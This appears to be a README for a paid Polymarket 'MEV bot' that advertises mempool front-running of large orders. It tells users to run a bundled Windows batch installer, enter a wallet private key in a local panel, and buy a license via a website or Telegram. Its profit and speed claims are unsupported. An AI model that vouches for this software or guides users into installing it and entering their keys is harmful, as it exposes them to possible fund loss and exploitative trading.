PolyFront MEV Bot

Automated MEV bot for Polymarket. Monitors the Polymarket API and Polygon mempool, executes trades milliseconds before others, and captures profit on the spread.

| Min Profit | Execution Speed | Operation | |:----------:|:---------------:|:---------:| | 0.01%+ | < 50ms | 24/7 |

Requirements

• Node.js v14 or higher — download here
• License key — purchase on the website
• A Polygon wallet with USDC (for trading) and POL (for gas)

Installation

1. Install Node.js

If you don't have Node.js installed, download it from nodejs.org (LTS version). This also installs npm which is required to run the bot.

2. Download the bot

Click the green "Code" button at the top of this page, then "Download ZIP". Extract the archive to any folder.

Or if you have git installed:

git clone https://github.com/polyfrontlabs/polyfrontbot-client.git
cd polyfrontbot-client-main

3. Install dependencies

Windows (quick): double-click 00_install-windows.bat — it will check Node.js and install everything automatically.

Windows / macOS / Linux (terminal):

npm run install-all

This installs the main bot, the panel backend, and the panel frontend in one command.

Configuration

The .env file is created automatically during installation. Open the web panel and go to Settings → Wallet → Private Key to add your wallet key.

Security: never share your .env file or private key with anyone.

Usage

Windows (quick)

Double-click 01_start-windows.bat — opens the web panel at http://127.0.0.1:3100.

Windows / macOS / Linux (terminal)

npm start

This starts the bot with the web panel. Open http://127.0.0.1:3100 in your browser to access the dashboard.

On first launch the bot will ask for your license key. After activation you will see the available modules.

Free Trial

Want to try before you buy? A free trial license is available:

• Website: polyfront.bet — click "Get Trial" on any plan
• Telegram: @PolyFrontBot — request a trial key directly from the bot

Features

• MEV front-running — detects large market orders and captures the spread
• Copy trading (free bonus) — mirror trades from profitable wallets in real-time
• HWID-locked license — one activation per machine, secure and non-transferable
• Fully open-source client — audit the code yourself

Links

| | | |---|---| | Website & Buy license | polyfront.bet | | Support Telegram | @PolyFrontBot |

License

Proprietary. See polyfront.bet for terms.